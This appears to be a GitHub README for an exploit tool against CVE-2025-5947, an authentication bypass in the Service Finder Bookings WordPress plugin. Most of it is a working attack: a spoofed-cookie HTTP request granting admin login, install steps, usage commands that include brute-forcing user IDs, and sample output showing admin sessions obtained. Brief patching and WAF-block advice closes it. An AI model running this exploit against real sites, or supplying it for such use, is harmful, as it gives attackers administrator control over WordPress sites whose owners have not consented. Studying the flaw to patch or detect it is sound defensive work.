
CVE-2025-5947 WordPress Service Finder Bookings ≤ 6.0 Exploit
CVE-2025-5947 WordPress Service Finder Bookings ≤ 6.0 Exploit
Exploit tool for authentication bypass vulnerability in WordPress Service Finder Bookings ≤ 6.0 plugin
A critical authentication bypass vulnerability exists in Service Finder Bookings WordPress plugin version 6.0 and earlier.
Unauthenticated attackers can:
The service_finder_switch_back() function has insufficient cookie validation:
// Insecure code
if(isset($_COOKIE['original_user_id'])) {
$user_id = $_COOKIE['original_user_id'];
wp_set_current_user($user_id);
// No validation!
}
GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1
Host: target.com
Cookie: original_user_id=1
Attack Characteristics:
git clone https://github.com/xxconi/CVE-2025-5947.git
cd CVE-2025-5947
pip install -r requirements.txt
python exploit.py -u http://target.com
# Show help
python exploit.py -h
# Try to log in as admin (ID=1)
python exploit.py -u http://target.com
# With a specific user ID
python exploit.py -u http://target.com -i 5
# Brute force (ID 1-10)
python exploit.py -u http://target.com -b 1-10
# Without SSL verification
python exploit.py -u http://target.com --no-ssl-verify
# With custom timeout
python exploit.py -u http://target.com -t 30
python exploit.py -u http://wordpress.local
Output:
============================================================
CVE-2025-5947 Service Finder Bookings Exploit
Authentication Bypass via Cookie Spoofing
============================================================
✅ Service Finder Bookings plugin found
🔍 Attempting login with user ID 1...
📊 HTTP Status: 302
📋 Response Headers:
Location: http://wordpress.local/wp-admin/
Set-Cookie: wordpress_logged_in_abc123=...
✅ SUCCESS! Logged in as admin!
📍 Redirect: http://wordpress.local/wp-admin/
python exploit.py -u http://target.com -b 1-20
Output:
🔄 Brute Force Starting (20 users)...
✅ User ID 1: SUCCESS
❌ User ID 2: Failed
✅ User ID 3: SUCCESS
...
✅ Successful Users: [1, 3, 5]
python exploit.py -u https://target.com --no-ssl-verify
A successful exploit includes the following indicators:
✅ HTTP 301 or 302 response code
✅ Location header containing /wp-admin/
✅ Set-Cookie header containing wordpress_logged_in_
This tool is intended only for:
Use responsibly. The author is not liable.
Urgent Update
# Update from WordPress admin panel
# or via WP-CLI
wp plugin update sf-booking
Deactivate the Plugin
wp plugin deactivate sf-booking
Remove the Plugin
wp plugin delete sf-booking
Web Application Firewall (WAF)
Block: /wp-admin/admin-ajax.php?action=service_finder_switch_back
Security Check
To report bugs or suggest improvements:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)MIT License - See LICENSE file for details
Security Researcher
⭐ If you found this useful, give it a star!
| Feature | Value |
|---|
| CVE ID | CVE-2025-5947 |
| Plugin | Service Finder Bookings (sf-booking) |
| Affected Version | ≤ 6.0 |
| Severity | 🔴 CRITICAL |
| CVSS Score | 9.8 |
| CWE | CWE-639 (Authorization Bypass) |
| EPSS Score | 0.617 (98.357 percentile) |
| Release Date | 2025 |
| Parameter | Short | Description | Default |
|---|
--url | -u | Target URL (required) | - |
--user-id | -i | User ID | 1 |
--brute-force | -b | Brute force range (1-10) | - |
--no-ssl-verify | - | Disable SSL verification | False |
--timeout | -t | Request timeout (seconds) | 10 |